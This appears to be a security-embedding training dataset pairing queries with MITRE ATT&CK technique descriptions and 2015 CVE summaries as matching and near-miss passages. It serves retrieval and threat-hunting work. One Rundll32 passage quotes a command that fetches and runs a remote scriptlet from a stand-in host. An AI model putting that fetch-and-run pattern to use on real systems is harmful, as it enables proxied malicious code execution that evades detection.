alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: hunt for InstallUtil activity
Matching passage: T1218.004 InstallUtil. Tactics: stealth. Description: Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>. InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)
Near-miss passage: T1218.011 Rundll32. Tactics: stealth. Description: Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleD
Query: risk of The Install Framework Legacy component in Apple OS X before 10.11 allows local users to obtain root privileges via vectors involving a privileged executable file.
Matching passage: CVE-2015-5888. CWE: CWE-264. CVSS: 7.199999809265137. The Install Framework Legacy component in Apple OS X before 10.11 allows local users to obtain root privileges via vectors involving a privileged executable file.
Near-miss passage: CVE-2015-3290. CWE: CWE-264. CVSS: 7.199999809265137. arch/x86/entry/entry_64.S in the Linux kernel before 4.1.6 on the x86_64 platform improperly relies on espfix64 during nested NMI processing, which allows local users to gain privileges by triggering an NMI within a certain instruction window.
Query: vulnerability: Cross-site request forgery (CSRF) vulnerability in Elasticsearch Kibana before 4.1.3 and 4.2.x before 4.2.1 allows remote attackers to hijack the authentication of unspecified vict
Matching passage: CVE-2015-8131. CWE: CWE-352. CVSS: 6.800000190734863. Cross-site request forgery (CSRF) vulnerability in Elasticsearch Kibana before 4.1.3 and 4.2.x before 4.2.1 allows remote attackers to hijack the authentication of unspecified victims via unknown vectors.
Near-miss passage: CVE-2015-0218. CWE: CWE-352. CVSS: 6.800000190734863. Cross-site request forgery (CSRF) vulnerability in auth/shibboleth/logout.php in Moodle through 2.5.9, 2.6.x before 2.6.7, 2.7.x before 2.7.4, and 2.8.x before 2.8.2 allows remote attackers to hijack the authentication of arbitrary users for requests that trigger a logout.
Query: patch priority for CVE-2015-7814
Matching passage: CVE-2015-7814. CWE: CWE-119. CVSS: 4.699999809265137. Race condition in the relinquish_memory function in arch/arm/domain.c in Xen 4.6.x and earlier allows local domains with partial management control to cause a denial of service (host crash) via vectors involving the destruction of a domain and using XENMEM_decrease_reservation to reduce the memory of the domain.
Near-miss passage: CVE-2015-2281. CWE: CWE-119. CVSS: 7.5. Stack-based buffer overflow in collectoragent.exe in Fortinet Single Sign On (FSSO) before build 164 allows remote attackers to execute arbitrary code via a large PROCESS_HELLO message to the Message Dispatcher on TCP port 8000.
Query: patch priority for CVE-2015-4734
Matching passage: CVE-2015-4734. CWE: UNKNOWN. CVSS: 5.0. Unspecified vulnerability in Oracle Java SE 6u101, 7u85 and 8u60, and Java SE Embedded 8u51, allows remote attackers to affect confidentiality via vectors related to JGSS.
Near-miss passage: CVE-2015-1153. CWE: UNKNOWN. CVSS: 6.800000190734863. WebKit, as used in Apple Safari before 6.2.6, 7.x before 7.1.6, and 8.x before 8.0.6, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than CVE-2015-1152 and CVE-2015-1154.
Query: explain CWE-649
Matching passage: CWE-649 Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking. The product uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the product does not use integrity checks to detect if those inputs have been modified.
Near-miss passage: CWE-377 Insecure Temporary File. Creating and using insecure temporary files can leave application and system data vulnerable to attack.
Query: Multiple failed authentications followed by Systemctl
Matching passage: T1569.003 Systemctl. Tactics: execution. Description: Adversaries may abuse systemctl to execute commands or programs. Systemctl is the primary interface for systemd, the Linux init system and service manager. Typically invoked from a shell, Systemctl can also be integrated into scripts or applications. Adversaries may use systemctl to execute commands or programs as [Systemd Service](https://attack.mitre.org/techniques/T1543/002)s. Common subcommands include: `systemctl start`, `systemctl stop`, `systemctl enable`, `systemctl disable`, and `systemctl status`.(Citation: Red Hat Systemctl 2022)
Near-miss passage: T1569.001 Launchctl. Tactics: execution. Description: Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man) Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w "%s/Library/LaunchAgents/%s"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)
Query: risk of Unspecified vulnerability in the Oracle Applications Manager component in Oracle E-Business Suite 11.5.10.2, 12.0.6, 12.1.3, 12.2.3, and 12.2.4 allows remote authenticated users to
Matching passage: CVE-2015-4846. CWE: UNKNOWN. CVSS: 3.5999999046325684. Unspecified vulnerability in the Oracle Applications Manager component in Oracle E-Business Suite 11.5.10.2, 12.0.6, 12.1.3, 12.2.3, and 12.2.4 allows remote authenticated users to affect confidentiality and integrity via vectors related to SQL Extensions. NOTE: the previous information is from the October 2015 CPU. Oracle has not commented on third-party claims that this issue is a SQL injection vulnerability, which allows remote authenticated users to execute arbitrary SQL commands via a request involving the afamexts.sql SQL extension.
Near-miss passage: CVE-2015-4848. CWE: UNKNOWN. CVSS: 5.0. Unspecified vulnerability in the Oracle Configurator component in Oracle Supply Chain Products Suite 12.0.6, 12.1.3, 12.2.3, and 12.2.4 allows remote attackers to affect confidentiality via unknown vectors related to Integration with Peoplesoft.
Query: describe CVE-2015-5330
Matching passage: CVE-2015-5330. CWE: CWE-200. CVSS: 7.5. ldb before 1.1.24, as used in the AD LDAP server in Samba 4.x before 4.1.22, 4.2.x before 4.2.7, and 4.3.x before 4.3.3, mishandles string lengths, which allows remote attackers to obtain sensitive information from daemon heap memory by sending crafted packets and then reading (1) an error message or (2) a database value.
Near-miss passage: CVE-2015-6418. CWE: CWE-200. CVSS: 4.300000190734863. The random-number generator on Cisco Small Business RV routers 4.x and SA500 security appliances 2.2.07 does not have sufficient entropy, which makes it easier for remote attackers to determine a TLS key pair via unspecified computations upon handshake key-exchange data, aka Bug ID CSCus15224.
Query: exploit Cross-site scripting (XSS) vulnerability in Login.aspx in UNIT4 Prosoft HRMS before 8.14.330.43 allows remote attackers to inject arbitrary web script or HTML via the txtUserID par
Matching passage: CVE-2015-2082. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in Login.aspx in UNIT4 Prosoft HRMS before 8.14.330.43 allows remote attackers to inject arbitrary web script or HTML via the txtUserID parameter.
Near-miss passage: CVE-2015-9303. CWE: CWE-79. CVSS: 6.099999904632568. The simple-share-buttons-adder plugin before 6.0.0 for WordPress has XSS.
Query: patch priority for CVE-2015-1963
Matching passage: CVE-2015-1963. CWE: CWE-119. CVSS: 7.800000190734863. Stack-based buffer overflow in the server in IBM Tivoli Storage Manager FastBack 6.1 before 6.1.12 allows remote attackers to cause a denial of service (daemon crash) via unspecified vectors, a different vulnerability than CVE-2015-1924, CVE-2015-1925, CVE-2015-1929, CVE-2015-1930, CVE-2015-1948, CVE-2015-1953, CVE-2015-1954, CVE-2015-1962, CVE-2015-1964, and CVE-2015-1965.
Near-miss passage: CVE-2015-1213. CWE: CWE-119. CVSS: 7.5. The SkBitmap::ReadRawPixels function in core/SkBitmap.cpp in the filters implementation in Skia, as used in Google Chrome before 41.0.2272.76, allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors that trigger an out-of-bounds write operation.
Query: campaign using Remote Desktop Protocol
Matching passage: T1021.001 Remote Desktop Protocol. Tactics: lateral movement. Description: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)
Near-miss passage: T1021.007 Cloud Services. Tactics: lateral movement. Description: Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI. In some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password.
Query: risk of Unspecified vulnerability in Oracle MySQL Server 5.6.22 and earlier allows remote authenticated users to affect availability via vectors related to DML.
Matching passage: CVE-2015-2566. CWE: UNKNOWN. CVSS: 2.799999952316284. Unspecified vulnerability in Oracle MySQL Server 5.6.22 and earlier allows remote authenticated users to affect availability via vectors related to DML.
Near-miss passage: CVE-2015-7631. CWE: UNKNOWN. CVSS: 9.300000190734863. Use-after-free vulnerability in Adobe Flash Player before 18.0.0.252 and 19.x before 19.0.0.207 on Windows and OS X and before 11.2.202.535 on Linux, Adobe AIR before 19.0.0.213, Adobe AIR SDK before 19.0.0.213, and Adobe AIR SDK & Compiler before 19.0.0.213 allows attackers to execute arbitrary code via a TextLine object with a crafted validity property, a different vulnerability than CVE-2015-7629, CVE-2015-7643, and CVE-2015-7644.
Query: risk of Cisco Application Policy Infrastructure Controller (APIC) 1.1j allows local users to gain privileges via vectors involving addition of an SSH key, aka Bug ID CSCuw46076.
Matching passage: CVE-2015-6333. CWE: CWE-264. CVSS: 4.599999904632568. Cisco Application Policy Infrastructure Controller (APIC) 1.1j allows local users to gain privileges via vectors involving addition of an SSH key, aka Bug ID CSCuw46076.
Near-miss passage: CVE-2015-3270. CWE: CWE-264. CVSS: 6.5. Apache Ambari before 2.0.2 or 2.1.x before 2.1.1 allows remote authenticated users to gain administrative privileges via unspecified vectors, possibly related to changing passwords.
Query: CVE similar to CVE-2015-7195
Matching passage: CVE-2015-7195. CWE: CWE-200. CVSS: 5.0. The URL parsing implementation in Mozilla Firefox before 42.0 improperly recognizes escaped characters in hostnames within Location headers, which allows remote attackers to obtain sensitive information via vectors involving a redirect.
Near-miss passage: CVE-2015-4989. CWE: CWE-200. CVSS: 3.700000047683716. The portal in IBM Tealeaf Customer Experience before 8.7.1.8814, 8.8 before 8.8.0.9026, 9.0.0, 9.0.0A, 9.0.1 before 9.0.1.1083, 9.0.1A before 9.0.1.5073, 9.0.2 before 9.0.2.1095, and 9.0.2A before 9.0.2.5144 allows remote attackers to read arbitrary charts by specifying an internal chart name.
Query: risk of Unspecified vulnerability in Apache Qpid 0.30 and earlier allows remote attackers to bypass access restrictions on qpidd via unknown vectors, related to 0-10 connection handling.
Matching passage: CVE-2015-0223. CWE: CWE-264. CVSS: 5.0. Unspecified vulnerability in Apache Qpid 0.30 and earlier allows remote attackers to bypass access restrictions on qpidd via unknown vectors, related to 0-10 connection handling.
Near-miss passage: CVE-2015-6607. CWE: CWE-264. CVSS: 6.800000190734863. SQLite before 3.8.9, as used in Android before 5.1.1 LMY48T, allows attackers to gain privileges via a crafted application, aka internal bug 20099586.
Query: patch priority for CVE-2015-0079
Matching passage: CVE-2015-0079. CWE: CWE-399. CVSS: 7.800000190734863. The Remote Desktop Protocol (RDP) implementation in Microsoft Windows 7 SP1, Windows 8, Windows 8.1, and Windows Server 2012 Gold and R2 allows remote attackers to cause a denial of service (memory consumption and RDP outage) by establishing many RDP sessions that do not properly free allocated memory, aka "Remote Desktop Protocol (RDP) Denial of Service Vulnerability."
Near-miss passage: CVE-2015-4228. CWE: CWE-399. CVSS: 5.400000095367432. Cisco Digital Content Manager (DCM) 15.0.0 might allow remote ad servers to cause a denial of service (reboot) via malformed ad messages, aka Bug ID CSCur13999.
Query: exploit The Remote Desktop Protocol (RDP) implementation in Microsoft Windows 7 SP1, Windows 8, Windows 8.1, and Windows Server 2012 Gold and R2 allows remote attackers to cause a denial o
Matching passage: CVE-2015-0079. CWE: CWE-399. CVSS: 7.800000190734863. The Remote Desktop Protocol (RDP) implementation in Microsoft Windows 7 SP1, Windows 8, Windows 8.1, and Windows Server 2012 Gold and R2 allows remote attackers to cause a denial of service (memory consumption and RDP outage) by establishing many RDP sessions that do not properly free allocated memory, aka "Remote Desktop Protocol (RDP) Denial of Service Vulnerability."
Near-miss passage: CVE-2015-4228. CWE: CWE-399. CVSS: 5.400000095367432. Cisco Digital Content Manager (DCM) 15.0.0 might allow remote ad servers to cause a denial of service (reboot) via malformed ad messages, aka Bug ID CSCur13999.
Query: describe CVE-2015-6771
Matching passage: CVE-2015-6771. CWE: CWE-119. CVSS: 7.5. js/array.js in Google V8, as used in Google Chrome before 47.0.2526.73, improperly implements certain map and filter operations for arrays, which allows remote attackers to cause a denial of service (out-of-bounds memory access) or possibly have unspecified other impact via crafted JavaScript code.
Near-miss passage: CVE-2015-2487. CWE: CWE-119. CVSS: 9.300000190734863. Microsoft Internet Explorer 7 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Memory Corruption Vulnerability," a different vulnerability than CVE-2015-2486, CVE-2015-2490, CVE-2015-2492, CVE-2015-2494, CVE-2015-2498, and CVE-2015-2499.
Query: CVE similar to CVE-2015-0422
Matching passage: CVE-2015-0422. CWE: UNKNOWN. CVSS: 4.0. Unspecified vulnerability in the Oracle Transportation Management component in Oracle Supply Chain Products Suite 6.1, 6.2, 6.3.0, 6.3.1, 6.3.2, 6.3.3, 6.3.4, and 6.3.5 allows remote authenticated users to affect confidentiality via unknown vectors related to UI Infrastructure.
Near-miss passage: CVE-2015-1172. CWE: UNKNOWN. CVSS: 7.5. Unrestricted file upload vulnerability in admin/upload-file.php in the Holding Pattern theme (aka holding_pattern) 0.6 and earlier for WordPress allows remote attackers to execute arbitrary PHP code by uploading a file with a PHP extension, then accessing it via a direct request to the file in an unspecified directory.
Query: vulnerability: The server in IBM Tivoli Storage Manager FastBack 6.1 before 6.1.12 allows remote attackers to execute arbitrary commands with SYSTEM privileges via unspecified vectors.
Matching passage: CVE-2015-1949. CWE: CWE-77. CVSS: 10.0. The server in IBM Tivoli Storage Manager FastBack 6.1 before 6.1.12 allows remote attackers to execute arbitrary commands with SYSTEM privileges via unspecified vectors.
Near-miss passage: CVE-2015-5080. CWE: CWE-77. CVSS: 9.0. The Management Interface in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway 10.1 before 10.1.132.8, 10.5 before Build 56.15, and 10.5.e before Build 56.1505.e allows remote authenticated users to execute arbitrary shell commands via shell metacharacters in the filter parameter to rapi/ipsec_logs.
Query: intelligence brief on T1074
Matching passage: T1074 Data Staged. Tactics: collection. Description: Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017) In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020) Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.
Near-miss passage: T1074.001 Local Data Staging. Tactics: collection. Description: Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)